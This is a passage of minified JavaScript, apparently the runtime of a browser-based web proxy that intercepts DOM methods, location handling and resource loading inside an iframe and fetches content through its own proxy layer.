| a = URL.createObjectURL(new Blob([a],{ | |
| type: c | |
| })); | |
| b && (Ua[b] = a); | |
| return a | |
| } | |
| function Wa(a, c, b, d) { | |
| this.Ec = a; | |
| this.b = c; | |
| this.F = b; | |
| this.qb = d; | |
| this.ja = null ; | |
| this.v = {}; | |
| this.v.appendChild = this.b.contentWindow.Node.prototype.appendChild; | |
| this.v.replaceChild = this.b.contentWindow.Node.prototype.replaceChild; | |
| this.v.insertBefore = this.b.contentWindow.Node.prototype.insertBefore; | |
| this.v.Cd = this.b.contentWindow.Document.prototype.getElementById; | |
| this.v.Dd = this.b.contentWindow.Document.prototype.getElementsByClassName; | |
| this.v.Ed = this.b.contentWindow.Document.prototype.querySelector; | |
| this.v.Fd = this.b.contentWindow.Document.prototype.querySelectorAll; | |
| this.v.ff = this.b.contentWindow.Document.prototype.__lookupGetter__("readyState"); | |
| this.v.setAttribute = this.b.contentWindow.Element.prototype.setAttribute; | |
| this.v.getAttribute = this.b.contentWindow.Element.prototype.getAttribute; | |
| this.v.removeAttribute = this.b.contentWindow.Element.prototype.removeAttribute; | |
| this.v.hasAttribute = this.b.contentWindow.Element.prototype.hasAttribute; | |
| this.v.rc = this.b.contentWindow.Element.prototype.__lookupSetter__("innerHTML"); | |
| this.v.Vd = this.b.contentWindow.Element.prototype.__lookupGetter__("innerHTML"); | |
| this.v.Gd = this.b.contentWindow.Element.prototype.getElementsByClassName; | |
| this.v.Hd = this.b.contentWindow.Element.prototype.querySelector; | |
| this.v.Id = this.b.contentWindow.Element.prototype.querySelectorAll; | |
| this.v.Ie = this.b.contentWindow.HTMLStyleElement.prototype.__lookupSetter__("innerHTML"); | |
| this.v.He = this.b.contentWindow.HTMLStyleElement.prototype.__lookupGetter__("innerHTML"); | |
| this.v.Ke = this.b.contentWindow.HTMLStyleElement.prototype.__lookupSetter__("innerText"); | |
| this.v.Je = this.b.contentWindow.HTMLStyleElement.prototype.__lookupGetter__("innerText"); | |
| this.v.Me = this.b.contentWindow.HTMLStyleElement.prototype.__lookupSetter__("textContent"); | |
| this.v.Le = this.b.contentWindow.HTMLStyleElement.prototype.__lookupGetter__("textContent"); | |
| this.v.Sc = this.b.contentWindow.CSSStyleDeclaration.prototype.setProperty; | |
| this.v.Rc = this.b.contentWindow.CSSStyleDeclaration.prototype.getPropertyValue; | |
| this.v.Event = this.b.contentWindow.Event; | |
| this.v.addEventListener = this.b.contentWindow.EventTarget.prototype.addEventListener; | |
| this.v.removeEventListener = this.b.contentWindow.EventTarget.prototype.removeEventListener; | |
| this.v.Bb = this.b.contentWindow.HTMLElement.prototype.__lookupSetter__("onload"); | |
| this.v.me = this.b.contentWindow.HTMLElement.prototype.__lookupSetter__("onerror"); | |
| this.v.le = this.b.contentWindow.HTMLElement.prototype.__lookupSetter__("onclick"); | |
| Xa(this); | |
| Ya(this); | |
| Za(this); | |
| $a(this); | |
| ab(this); | |
| bb(this); | |
| cb(this); | |
| db(this); | |
| eb(this); | |
| fb(this); | |
| gb(this); | |
| hb(this); | |
| ib(this); | |
| jb(this); | |
| kb(this) | |
| } | |
| function lb(a, c, b) { | |
| if (!c) | |
| throw "empty URL"; | |
| var d = M.parse(c); | |
| if (!d.protocol || !d.host) | |
| throw "invalid URL"; | |
| a.url = c; | |
| a.G = c; | |
| a.Kc(); | |
| a.b.contentDocument.write(b); | |
| a.b.contentDocument && a.b.contentDocument.close() | |
| } | |
| var mb = ["text/html", "application/xhtml+xml"] | |
| , nb = ["image/png", "image/jpeg", "image/gif", "image/svg+xml", "image/bmp"]; | |
| function ob(a, c) { | |
| a.F.fetch({ | |
| url: c | |
| }, { | |
| tagName: a.b.tagName, | |
| onsuccess: function(b) { | |
| if (a.b.contentWindow && !(200 > b.status || 300 <= b.status)) { | |
| var d = ""; | |
| b.headers["content-type"] && 1 <= b.headers["content-type"].length && (d = b.headers["content-type"][0]); | |
| var e = ""; | |
| nb.forEach(function(a) { | |
| 0 <= d.indexOf(a) && (e = "image") | |
| }); | |
| mb.forEach(function(a) { | |
| 0 <= d.indexOf(a) && (e = "html") | |
| }); | |
| if ("html" == e) | |
| html = O.decode(b.body); | |
| else if ("image" == e) | |
| html = '<img src="' + Va(b.body, d, c) + '">'; | |
| else | |
| return; | |
| lb(a, c, html) | |
| } | |
| }, | |
| onerror: function() {} | |
| }) | |
| } | |
| function pb(a, c) { | |
| if (!c.mb) { | |
| c.mb = !0; | |
| var b = function() { | |
| var b = a.v.getAttribute.call(c, "v-src"); | |
| b || (b = "about:blank"); | |
| return M.resolve(a.G, b) | |
| } | |
| , d = "" | |
| , e = function() { | |
| c.mb = !1; | |
| var e = c.contentWindow.Aa ? c.contentWindow.Aa : c.contentWindow.Aa = new Wa(a.Ec,c,a.F,a.qb); | |
| e.Ia == this.Ia; | |
| var f = b(); | |
| "about:blank" == f ? lb(e, a.G, d) : ob(e, f) | |
| } | |
| ; | |
| if (0 <= navigator.userAgent.indexOf("Firefox/")) { | |
| var f = M.parse(b()); | |
| c.contentWindow && !c.contentWindow.__loc && (c.contentWindow.__loc = f); | |
| c.contentDocument && (a.b.contentWindow.document.__loc || (a.b.contentWindow.document.__loc = | |
| f), | |
| c.contentDocument.write = function(a) { | |
| d += a | |
| } | |
| ); | |
| a.v.Bb.call(c, function() { | |
| e() | |
| }); | |
| var g = !0; | |
| a.v.me.call(c, function() { | |
| g && (g = !1, | |
| c.contentDocument.open(), | |
| c.contentDocument.close()) | |
| }) | |
| } else | |
| c.contentWindow ? e() : a.v.Bb.call(c, function() { | |
| e() | |
| }) | |
| } | |
| } | |
| function Xa(a) { | |
| a.Ia = []; | |
| a.Ic = function(a, b) { | |
| for (var c = 0; c < this.Ia.length; c++) | |
| a = this.Ia[c](a, b); | |
| return Ga(a) | |
| } | |
| } | |
| function Ya(a) { | |
| function c(b) { | |
| b = M.resolve(a.G, b); | |
| ob(a, b) | |
| } | |
| a.location = {}; | |
| a.location.assign = function(a) { | |
| c(a) | |
| } | |
| ; | |
| a.location.reload = function() { | |
| ob(a, a.G) | |
| } | |
| ; | |
| a.location.replace = function(a) { | |
| c(a) | |
| } | |
| ; | |
| a.location.toString = function() { | |
| return a.G | |
| } | |
| ; | |
| a.location.__defineSetter__("href", function(a) { | |
| c(a) | |
| }); | |
| a.location.__defineGetter__("href", function() { | |
| return a.G | |
| }); | |
| a.location.__defineGetter__("origin", function() { | |
| var b = M.parse(a.G); | |
| return "http:" != b.protocol && "https:" != b.protocol || !b.host ? "null" : b.protocol + "//" + b.host | |
| }); | |
| for (var b = | |
| "protocol host hostname port pathname search hash".split(" "), d = 0; d < b.length; d++) | |
| (function(b) { | |
| a.location.__defineSetter__(b, function(c) { | |
| var d = M.parse(a.G); | |
| d[b] = c; | |
| c = M.format(d); | |
| ob(a, c) | |
| }); | |
| a.location.__defineGetter__(b, function() { | |
| return M.parse(a.G)[b] || "" | |
| }) | |
| })(b[d]); | |
| a.b.contentWindow.__defineSetter__("__loc", c); | |
| a.b.contentWindow.__defineGetter__("__loc", function() { | |
| return a.location | |
| }); | |
| a.b.contentWindow.document.__defineSetter__("__loc", c); | |
| a.b.contentWindow.document.__defineGetter__("__loc", function() { | |
| return a.location | |
| }); | |
| a.b.contentWindow.document.__defineGetter__("domain", function() { | |
| return a.location.hostname | |
| }); | |
| a.b.contentWindow.document.__defineGetter__("URL", function() { | |
| return a.location.toString() | |
| }); | |
| a.b.contentWindow.document.__defineGetter__("documentURI", function() { | |
| return a.location.toString() | |
| }); | |
| a.b.contentWindow.document.__defineGetter__("origin", function() { | |
| return a.location.origin | |
| }); | |
| window.__loc || (window.__defineSetter__("__loc", c), | |
| window.__defineGetter__("__loc", function() { | |
| return this.location | |
| }), | |
| window.document.__defineSetter__("__loc", | |
| c), | |
| window.document.__defineGetter__("__loc", function() { | |
| return this.location | |
| })) | |
| } | |
| function Za(a) { | |
| function c(c, e) { | |
| var d = !1; | |
| if ("SCRIPT" != c.tagName || c.type && !Fa(c.type)) | |
| "LINK" == c.tagName ? a.v.Bb.call(c, function() { | |
| c.hasAttribute("href") && "stylesheet" == c.getAttribute("rel") && (M.resolve(a.G, c.getAttribute("href")), | |
| R(a, this)) | |
| }) : "IFRAME" == c.tagName ? (c.hasAttribute("sandbox") && c.removeAttribute("sandbox"), | |
| d = c.mb || !1) : "META" == c.tagName && "refresh" == c.httpEquiv && (b(c.content), | |
| e = function() {} | |
| ); | |
| else if (c.Qb && (c.Y = a.Jc(c, !1), | |
| delete c.Qb), | |
| c.hasAttribute("src")) | |
| c.charset = "utf-8"; | |
| else { | |
| var g = a.b.contentDocument.currentScript; | |
| null != g && g.Y && !c.Y && (c.Y = a.Jc(c, !0)); | |
| c.textContent = a.Ic(c.textContent, null ) | |
| } | |
| g = e(); | |
| "SCRIPT" != c.tagName || c.type && !Fa(c.type) || c.hasAttribute("src") || !c.Y || (c.Y.done = !0); | |
| "IFRAME" != c.tagName || d ? "STYLE" == c.tagName && c.textContent && R(a, c) : pb(a, c); | |
| return g | |
| } | |
| function b(b) { | |
| raw = b.split(";"); | |
| if (0 != raw.length && (b = /\d+/.exec(raw[0]), | |
| null != b)) { | |
| delay = parseInt(b); | |
| url = null ; | |
| for (var c = 1; c < raw.length; c++) { | |
| b = /^\s*(.+?)\s*=\s*(.+?)\s*$/.exec(raw[c]); | |
| if (null == b) | |
| return; | |
| "url" == b[1].toLowerCase() && (url = b[2]) | |
| } | |
| a.ja = { | |
| zd: delay, | |
| url: url | |
| }; | |
| a.tb() | |
| } | |
| } | |
| a.tb = function() { | |
| if (null != a.ja && "loading" != a.b.contentDocument.readyState) { | |
| var b = a.ja; | |
| null != b.url && setTimeout(function() { | |
| a.ja == b && (a.ja = null , | |
| ob(a, M.resolve(a.G, url))) | |
| }, a.ja.zd) | |
| } | |
| } | |
| ; | |
| a.b.contentWindow.Node.prototype.appendChild = function(b) { | |
| b.nodeType == Node.TEXT_NODE && "STYLE" == this.tagName && (b.nodeValue = Q(b.nodeValue)); | |
| var d = this | |
| , f = c(b, function() { | |
| return a.v.appendChild.call(d, b) | |
| }); | |
| b.nodeType == Node.TEXT_NODE && "STYLE" == this.tagName && this.parentNode && R(a, this); | |
| return f | |
| } | |
| ; | |
| a.b.contentWindow.Node.prototype.replaceChild = | |
| function(b, e) { | |
| b.nodeType == Node.TEXT_NODE && "STYLE" == this.tagName && (b.nodeValue = Q(b.nodeValue)); | |
| var d = this | |
| , g = c(b, function() { | |
| return a.v.replaceChild.call(d, b, e) | |
| }); | |
| b.nodeType == Node.TEXT_NODE && "STYLE" == this.tagName && this.parentNode && R(a, this); | |
| return g | |
| } | |
| ; | |
| a.b.contentWindow.Node.prototype.insertBefore = function(b, e) { | |
| var d = this; | |
| b.nodeType == Node.TEXT_NODE && e.parentNode && "STYLE" == e.parentNode.tagName && (newChild.nodeValue = Q(newChild.nodeValue)); | |
| var g = c(b, function() { | |
| return a.v.insertBefore.call(d, b, e) | |
| }); | |
| b.nodeType == | |
| Node.TEXT_NODE && e.parentNode && "STYLE" == e.parentNode.tagName && e.parentNode.parentNode && R(a, e.parentNode); | |
| return g | |
| } | |
| } | |
| function $a(a) { | |
| function c(b, c, e) { | |
| a.F.fetch({ | |
| url: e | |
| }, { | |
| tagName: b.tagName, | |
| onsuccess: function(d) { | |
| if (a.b.contentWindow) | |
| if (200 > d.status || 300 <= d.status) { | |
| var f = new a.b.contentWindow.Event("error"); | |
| b.dispatchEvent(f) | |
| } else { | |
| f = ""; | |
| d.headers["content-type"] && 1 <= d.headers["content-type"].length && (f = d.headers["content-type"][0]); | |
| if ("SCRIPT" == b.tagName && "src" == c) { | |
| if (!b.type || Fa(b.type)) { | |
| d = O.decode(d.body); | |
| d = a.Ic(d, e); | |
| 0 > f.toLowerCase().indexOf("charset=utf-8") && (f += ";charset=utf-8"); | |
| f = Va(O.encode(d), f, null ); | |
| a.v.setAttribute.call(b, | |
| c, f); | |
| return | |
| } | |
| } else if ("LINK" == b.tagName && "href" == c && 0 <= f.indexOf("text/css")) { | |
| d = O.decode(d.body); | |
| d = Q(d); | |
| f = Va(O.encode(d), f, e); | |
| a.v.setAttribute.call(b, c, f); | |
| return | |
| } | |
| f = Va(d.body, f, e); | |
| a.v.setAttribute.call(b, c, f); | |
| "SOURCE" == b.tagName && (f = b.parentNode, | |
| f.removeChild(b), | |
| f.appendChild(b)) | |
| } | |
| }, | |
| onerror: function() {} | |
| }) | |
| } | |
| a.b.contentWindow.Element.prototype.__defineSetter__("innerHTML", function(b) { | |
| a.Rd(this, b) | |
| }); | |
| a.b.contentWindow.Element.prototype.__defineGetter__("innerHTML", function() { | |
| return a.v.Vd.call(this) | |
| }); | |
| a.b.contentWindow.Element.prototype.setAttribute = | |
| function(b, d) { | |
| b = String(b); | |
| "http://www.w3.org/2000/svg" != this.namespaceURI && (b = b.toLowerCase()); | |
| d = String(d); | |
| if (("IFRAME" == this.tagName || "BODY" == this.tagName) && "onload" == b || "IFRAME" == this.tagName && "onerror" == b) | |
| this["_" + b] = a.b.contentWindow.Function(d); | |
| else if ("style" == b) { | |
| var e = Oa(d); | |
| a.v.setAttribute.call(this, b, e); | |
| qb(a, this.style) | |
| } else if ("id" == b) { | |
| a.v.setAttribute.call(this, b, Ja(d)); | |
| var f = this; | |
| if (d && !a.b.contentWindow.hasOwnProperty(d) && !a.b.contentWindow[d] && (e = a.v.getAttribute.call(f, "id"), | |
| d != e)) { | |
| var g, | |
| k = !1; | |
| a.b.contentWindow.__defineSetter__(d, function(a) { | |
| g = a; | |
| k = !0 | |
| }); | |
| a.b.contentWindow.__defineGetter__(d, function() { | |
| if (k) | |
| return g; | |
| var b = a.v.getAttribute.call(f, "id"); | |
| if (d == f.getAttribute("id") && f == a.b.contentWindow[b]) | |
| return f | |
| }) | |
| } | |
| } else if ("class" == b) | |
| a.v.setAttribute.call(this, b, La(d)); | |
| else if ("A" != this.tagName || "href" != b && "v-href" != b || (this.style.cursor = "pointer", | |
| a.qc(this)), | |
| Da[this.tagName] && Da[this.tagName][b]) { | |
| var h = M.resolve(a.G, d) | |
| , e = M.parse(h); | |
| if ("IFRAME" == this.tagName && "src" == b) | |
| a.v.setAttribute.call(this, | |
| "v-" + b, d), | |
| pb(a, this); | |
| else { | |
| if ("http:" != e.protocol && "https:" != e.protocol) | |
| return a.v.setAttribute.call(this, b, d); | |
| a.v.setAttribute.call(this, "v-" + b, d); | |
| if ("A" != this.tagName || "href" != b) | |
| if ("SOURCE" == this.tagName || "VIDEO" == this.tagName && "src" == b) { | |
| var p = this; | |
| (e = rb.stream(h, a.F, { | |
| onerror: function() { | |
| c(p, b, h) | |
| } | |
| })) && a.v.setAttribute.call(p, b, e) | |
| } else | |
| c(this, b, h) | |
| } | |
| } else | |
| a.v.setAttribute.call(this, b, d) | |
| } | |
| ; | |
| a.b.contentWindow.Element.prototype.getAttribute = function(b) { | |
| b = String(b).toLowerCase(); | |
| var c; | |
| "id" == b ? (c = a.v.getAttribute.call(this, | |
| b)) && (c = Ka(c)) : "class" == b ? (c = a.v.getAttribute.call(this, b)) && (c = Ma(c)) : c = a.v.hasAttribute.call(this, "v-" + b) ? a.v.getAttribute.call(this, "v-" + b) : a.v.getAttribute.call(this, b); | |
| return "src" == b && null == c ? "" : c | |
| } | |
| ; | |
| a.b.contentWindow.Element.prototype.removeAttribute = function(b) { | |
| a.v.removeAttribute.call(this, "v-" + b); | |
| a.v.removeAttribute.call(this, b) | |
| } | |
| ; | |
| a.b.contentWindow.Element.prototype.hasAttribute = function(b) { | |
| return a.v.hasAttribute.call(this, "v-" + b) ? !0 : a.v.hasAttribute.call(this, b) | |
| } | |
| } | |
| function ab(a) { | |
| a = [{ | |
| L: a.b.contentWindow.HTMLObjectElement.prototype, | |
| I: ["data"] | |
| }, { | |
| L: a.b.contentWindow.HTMLIFrameElement.prototype, | |
| I: ["src"] | |
| }, { | |
| L: a.b.contentWindow.HTMLFrameElement.prototype, | |
| I: ["src"] | |
| }, { | |
| L: a.b.contentWindow.HTMLTrackElement.prototype, | |
| I: ["src"] | |
| }, { | |
| L: a.b.contentWindow.HTMLFormElement.prototype, | |
| I: ["action"] | |
| }, { | |
| L: a.b.contentWindow.HTMLBaseElement.prototype, | |
| I: ["href"] | |
| }, { | |
| L: a.b.contentWindow.HTMLBodyElement.prototype, | |
| I: ["background"] | |
| }, { | |
| L: a.b.contentWindow.HTMLAudioElement.prototype, | |
| I: ["src"] | |
| }, | |
| { | |
| L: a.b.contentWindow.HTMLEmbedElement.prototype, | |
| I: ["src"] | |
| }, { | |
| L: a.b.contentWindow.HTMLSourceElement.prototype, | |
| I: ["src"] | |
| }, { | |
| L: a.b.contentWindow.HTMLAreaElement.prototype, | |
| I: ["href"] | |
| }, { | |
| L: a.b.contentWindow.HTMLScriptElement.prototype, | |
| I: ["src"] | |
| }, { | |
| L: a.b.contentWindow.HTMLLinkElement.prototype, | |
| I: ["href"] | |
| }, { | |
| L: a.b.contentWindow.HTMLVideoElement.prototype, | |
| I: ["src"] | |
| }, { | |
| L: a.b.contentWindow.HTMLInputElement.prototype, | |
| I: ["src"] | |
| }, { | |
| L: a.b.contentWindow.HTMLAnchorElement.prototype, | |
| I: ["href"] | |
| }, { | |
| L: a.b.contentWindow.HTMLImageElement.prototype, | |
| I: ["src"] | |
| }]; | |
| for (var c = 0; c < a.length; c++) | |
| for (var b = 0; b < a[c].I.length; b++) | |
| (function(a, b) { | |
| a.__defineGetter__(b, function() { | |
| var a = this.getAttribute(b); | |
| return null == a ? "" : a | |
| }); | |
| a.__defineSetter__(b, function(a) { | |
| return this.setAttribute(b, a) | |
| }) | |
| })(a[c].L, a[c].I[b]) | |
| } | |
| function bb(a) { | |
| function c() { | |
| return this._onload | |
| } | |
| function b(a) { | |
| this._onload = a | |
| } | |
| function d() { | |
| return a.v.removeEventListener.apply(this, arguments) | |
| } | |
| function e() { | |
| if ((this == a.b.contentWindow || "IFRAME" == this.tagName || "BODY" == this.tagName) && "load" == arguments[0] || "IFRAME" == this.tagName && "error" == arguments[0] || (this == a.b.contentWindow || this == a.b.contentWindow.document) && "DOMContentLoaded" == arguments[0]) | |
| arguments[1] = f(arguments[0], arguments[1]), | |
| arguments[0] = "_" + arguments[0]; | |
| return a.v.addEventListener.apply(this, | |
| arguments) | |
| } | |
| function f(a, b) { | |
| return function(c) { | |
| c.__defineGetter__("type", function() { | |
| return a | |
| }); | |
| return b.call(this, c) | |
| } | |
| } | |
| a.b.contentWindow.HTMLElement.prototype.addEventListener = e; | |
| a.b.contentWindow.HTMLElement.prototype.removeEventListener = d; | |
| a.b.contentWindow.addEventListener = e.bind(a.b.contentWindow); | |
| a.b.contentWindow.removeEventListener = d.bind(a.b.contentWindow); | |
| a.b.contentWindow.document.addEventListener = e.bind(a.b.contentWindow.document); | |
| a.b.contentWindow.document.removeEventListener = d.bind(a.b.contentWindow.document); | |
| a.b.contentWindow.HTMLIFrameElement.prototype.__defineSetter__("onload", b); | |
| a.b.contentWindow.HTMLIFrameElement.prototype.__defineGetter__("onload", c); | |
| a.b.contentWindow.HTMLBodyElement.prototype.__defineSetter__("onload", b); | |
| a.b.contentWindow.HTMLBodyElement.prototype.__defineGetter__("onload", c); | |
| a.b.contentWindow.__defineSetter__("onload", b); | |
| a.b.contentWindow.__defineGetter__("onload", c); | |
| a.b.contentWindow.HTMLIFrameElement.prototype.__defineSetter__("onerror", function(a) { | |
| this.hd = a | |
| }); | |
| a.b.contentWindow.HTMLIFrameElement.prototype.__defineGetter__("onerror", | |
| function() { | |
| return this.hd | |
| }); | |
| a.b.contentWindow.HTMLAnchorElement.prototype.__defineSetter__("onclick", function(b) { | |
| a.qc(this); | |
| this.fd = b | |
| }); | |
| a.b.contentWindow.HTMLAnchorElement.prototype.__defineGetter__("onclick", function() { | |
| return this.fd || null | |
| }) | |
| } | |
| function jb(a) { | |
| a.b.contentWindow.ed = function() { | |
| var c = new a.v.Event("readystatechange"); | |
| a.b.contentWindow.document.dispatchEvent(c); | |
| c = new a.v.Event("_DOMContentLoaded"); | |
| a.b.contentWindow.dispatchEvent(c); | |
| c = new a.v.Event("_DOMContentLoaded"); | |
| a.b.contentWindow.document.dispatchEvent(c) | |
| } | |
| ; | |
| a.b.contentWindow.Tb = function() { | |
| var c = new a.v.Event("readystatechange"); | |
| a.b.contentWindow.document.dispatchEvent(c); | |
| a.b.addEventListener("load", function(b) { | |
| a.b.removeEventListener("load", arguments.callee); | |
| return a.b._onload ? | |
| a.b._onload.apply(this, arguments) : !0 | |
| }, !1); | |
| a.b.contentWindow.addEventListener("load", function(b) { | |
| a.b.removeEventListener("load", arguments.callee); | |
| return a.b.contentWindow._onload ? a.b.contentWindow._onload.apply(this, arguments) : !0 | |
| }, !1); | |
| a.b.contentWindow.document.body.addEventListener("load", function(b) { | |
| a.b.contentWindow.document.body.removeEventListener("load", arguments.callee); | |
| return a.b.contentWindow.document.body._onload ? a.b.contentWindow.document.body._onload.apply(this, arguments) : !0 | |
| }, !1); | |
| c = new a.b.contentWindow.Event("_load"); | |
| a.b.contentWindow.document.body.dispatchEvent(c); | |
| c = new a.b.contentWindow.Event("_load"); | |
| a.b.contentWindow.dispatchEvent(c); | |
| c = new a.Ec.Event("_load"); | |
| a.b.dispatchEvent(c) | |
| } | |
| } | |
| function sb(a, c, b) { | |
| var d = a.G; | |
| if (c.parentRule && c.parentRule.parentStyleSheet && c.parentRule.parentStyleSheet.ownerNode) { | |
| var e = c.parentRule.parentStyleSheet.ownerNode.getAttribute("href"); | |
| e && (d = M.resolve(a.G, e)) | |
| } | |
| switch (b) { | |
| case "background": | |
| case "background-image": | |
| break; | |
| default: | |
| return | |
| } | |
| var e = c.getPropertyValue(b), e = Pa(e), f; | |
| for (f in e) | |
| if (e.hasOwnProperty(f)) { | |
| var g = M.resolve(d, e[f]) | |
| , k = M.parse(g); | |
| "http:" != k.protocol && "https:" != k.protocol || function(d, e) { | |
| a.F.fetch({ | |
| url: e | |
| }, { | |
| onsuccess: function(f) { | |
| if (!(200 > f.status || | |
| 300 <= f.status)) { | |
| var g = ""; | |
| f.headers["content-type"] && 1 <= f.headers["content-type"].length && (g = f.headers["content-type"][0]); | |
| f = "url('" + Va(f.body, g, e) + "')"; | |
| var g = a.v.Rc.call(c, b) | |
| , h = c.getPropertyPriority(b); | |
| a.v.Sc.call(c, b, g.split(d).join(f), h) | |
| } | |
| }, | |
| onerror: function() {} | |
| }) | |
| }(f, g) | |
| } | |
| } | |
| function qb(a, c) { | |
| for (var b = 0; b < c.length; b++) | |
| sb(a, c, c[b]) | |
| } | |
| function tb(a, c, b) { | |
| for (var d = 0; d < b.cssRules.length; d++) { | |
| var e = b.cssRules[d]; | |
| e instanceof c.CSSStyleRule && qb(a, e.style) | |
| } | |
| } | |
| function R(a, c) { | |
| for (var b = null , d = a.b.contentWindow; ; ) { | |
| for (var e = 0; e < d.document.styleSheets.length; e++) | |
| if (d.document.styleSheets[e].ownerNode == c) { | |
| b = d.document.styleSheets[e]; | |
| break | |
| } | |
| if (null != b || d == window.top) | |
| break; | |
| d = d.parent | |
| } | |
| null == b ? c.onload = function() { | |
| R(a, c) | |
| } | |
| : tb(a, d, b) | |
| } | |
| function cb(a) { | |
| function c(b, d) { | |
| var e = (a.b.contentWindow.Te || a.b.contentWindow.CSSStyleDeclaration).prototype | |
| , f = e.__lookupSetter__(b) | |
| , g = e.__lookupGetter__(b); | |
| e.__defineSetter__(b, function(g) { | |
| g = Oa(g); | |
| f ? f.call(this, g) : (delete e[b], | |
| this[b] = g, | |
| c(b, d)); | |
| sb(a, this, d) | |
| }); | |
| e.__defineGetter__(b, function() { | |
| if (g) | |
| return g.call(this); | |
| delete e[b]; | |
| var a = this[b]; | |
| c(b, d); | |
| return a | |
| }) | |
| } | |
| a.b.contentWindow.CSSStyleDeclaration.prototype.setProperty = function(b, c, e) { | |
| c = Oa(c); | |
| a.v.Sc.call(this, b, c, e); | |
| sb(a, this, b) | |
| } | |
| ; | |
| a.b.contentWindow.CSSStyleDeclaration.prototype.getPropertyValue = | |
| function(b) { | |
| return a.v.Rc.call(this, b) | |
| } | |
| ; | |
| c("background", "background"); | |
| c("backgroundImage", "background-image"); | |
| a.b.contentWindow.HTMLStyleElement.prototype.__defineSetter__("innerHTML", function(b) { | |
| b = Q(b); | |
| a.v.Ie.call(this, b); | |
| this.parentNode && R(a, this) | |
| }); | |
| a.b.contentWindow.HTMLStyleElement.prototype.__defineGetter__("innerHTML", function() { | |
| return a.v.He.call(this) | |
| }); | |
| a.b.contentWindow.HTMLStyleElement.prototype.__defineSetter__("innerText", function(b) { | |
| b = Q(b); | |
| a.v.Ke.call(this, b); | |
| this.parentNode && R(a, this) | |
| }); | |
| a.b.contentWindow.HTMLStyleElement.prototype.__defineGetter__("innerText", function() { | |
| return a.v.Je.call(this) | |
| }); | |
| a.b.contentWindow.HTMLStyleElement.prototype.__defineSetter__("textContent", function(b) { | |
| b = Q(b); | |
| a.v.Me.call(this, b); | |
| this.parentNode && R(a, this) | |
| }); | |
| a.b.contentWindow.HTMLStyleElement.prototype.__defineGetter__("textContent", function() { | |
| return a.v.Le.call(this) | |
| }) | |
| } | |
| function db(a) { | |
| a.b.contentWindow.Document.prototype.getElementById = function(b) { | |
| return a.v.Cd.call(this, Ja(b)) | |
| } | |
| ; | |
| a.b.contentWindow.Document.prototype.getElementsByClassName = function(b) { | |
| return a.v.Dd.call(this, La(b)) | |
| } | |
| ; | |
| a.b.contentWindow.Document.prototype.querySelector = function(b) { | |
| return a.v.Ed.call(this, Na(b)) | |
| } | |
| ; | |
| a.b.contentWindow.Document.prototype.querySelectorAll = function(b) { | |
| return a.v.Fd.call(this, Na(b)) | |
| } | |
| ; | |
| a.b.contentWindow.Element.prototype.getElementsByClassName = function(b) { | |
| return a.v.Gd.call(this, | |
| La(b)) | |
| } | |
| ; | |
| a.b.contentWindow.Element.prototype.querySelector = function(b) { | |
| return a.v.Hd.call(this, Na(b)) | |
| } | |
| ; | |
| a.b.contentWindow.Element.prototype.querySelectorAll = function(b) { | |
| return a.v.Id.call(this, Na(b)) | |
| } | |
| ; | |
| var c = a.b.contentWindow.Element.prototype; | |
| c.__defineGetter__("id", function() { | |
| var a = this.getAttribute("id"); | |
| return null == a ? "" : a | |
| }); | |
| c.__defineSetter__("id", function(a) { | |
| return this.setAttribute("id", a) | |
| }); | |
| c.__defineGetter__("className", function() { | |
| var a = this.getAttribute("class"); | |
| return null == a ? "" : a | |
| }); | |
| c.__defineSetter__("className", | |
| function(a) { | |
| return this.setAttribute("class", a) | |
| }); | |
| var c = a.b.contentWindow.SVGElement.prototype | |
| , b = c.__lookupGetter__("className"); | |
| c.__defineGetter__("className", function() { | |
| var a = b.call(this); | |
| if (!a.dd) { | |
| var c = a.__lookupGetter__("baseVal") | |
| , f = a.__lookupGetter__("animVal"); | |
| a.__defineGetter__("baseVal", function() { | |
| return Ma(c.call(a)) | |
| }); | |
| a.__defineGetter__("animVal", function() { | |
| return Ma(f.call(a)) | |
| }); | |
| a.dd = !0 | |
| } | |
| return a | |
| }); | |
| c.__defineGetter__("id", function() { | |
| var a = this.getAttribute("id"); | |
| return null == a ? "" : a | |
| }); | |
| c.__defineSetter__("id", | |
| function(a) { | |
| return this.setAttribute("id", a) | |
| }); | |
| (function(a) { | |
| if ("Element" in a) { | |
| a = a.Element.prototype; | |
| var b = Object | |
| , c = String.prototype.trim || function() { | |
| return this.replace(/^\s+|\s+$/g, "") | |
| } | |
| , d = Array.prototype.indexOf || function(a) { | |
| for (var b = 0, c = this.length; b < c; b++) | |
| if (b in this && this[b] === a) | |
| return b; | |
| return -1 | |
| } | |
| , k = function(a, b) { | |
| this.name = a; | |
| this.code = DOMException[a]; | |
| this.message = b | |
| } | |
| , h = function(a, b) { | |
| if ("" === b) | |
| throw new k("SYNTAX_ERR","An invalid or illegal string was specified"); | |
| if (/\s/.test(b)) | |
| throw new k("INVALID_CHARACTER_ERR", | |
| "String contains an invalid character"); | |
| return d.call(a, b) | |
| } | |
| , p = function(a) { | |
| for (var b = c.call(a.getAttribute("class") || ""), b = b ? b.split(/\s+/) : [], d = 0, e = b.length; d < e; d++) | |
| this.push(b[d]); | |
| this.Vb = function() { | |
| a.setAttribute("class", this.toString()) | |
| } | |
| } | |
| , l = p.prototype = [] | |
| , t = function() { | |
| this.Pb || (this.Pb = new p(this)); | |
| return this.Pb | |
| } | |
| ; | |
| k.prototype = Error.prototype; | |
| l.item = function(a) { | |
| return this[a] || null | |
| } | |
| ; | |
| l.contains = function(a) { | |
| return -1 !== h(this, a + "") | |
| } | |
| ; | |
| l.add = function() { | |
| var a = arguments | |
| , b = 0 | |
| , c = a.length | |
| , d = !1; | |
| do { | |
| var e = a[b] + | |
| ""; | |
| -1 === h(this, e) && (this.push(e), | |
| d = !0) | |
| } while (++b < c);d && this.Vb() | |
| } | |
| ; | |
| l.remove = function() { | |
| var a = arguments, b = 0, c = a.length, d = !1, e; | |
| do { | |
| var f = a[b] + ""; | |
| for (e = h(this, f); -1 !== e; ) | |
| this.splice(e, 1), | |
| d = !0, | |
| e = h(this, f) | |
| } while (++b < c);d && this.Vb() | |
| } | |
| ; | |
| l.toggle = function(a, b) { | |
| a += ""; | |
| var c = this.contains(a) | |
| , d = c ? !0 !== b && "remove" : !1 !== b && "add"; | |
| if (d) | |
| this[d](a); | |
| return !0 === b || !1 === b ? b : !c | |
| } | |
| ; | |
| l.toString = function() { | |
| return this.join(" ") | |
| } | |
| ; | |
| if (b.defineProperty) { | |
| l = { | |
| get: t, | |
| enumerable: !0, | |
| configurable: !0 | |
| }; | |
| try { | |
| b.defineProperty(a, "classList", l) | |
| } catch (u) { | |
| -2146823252 === | |
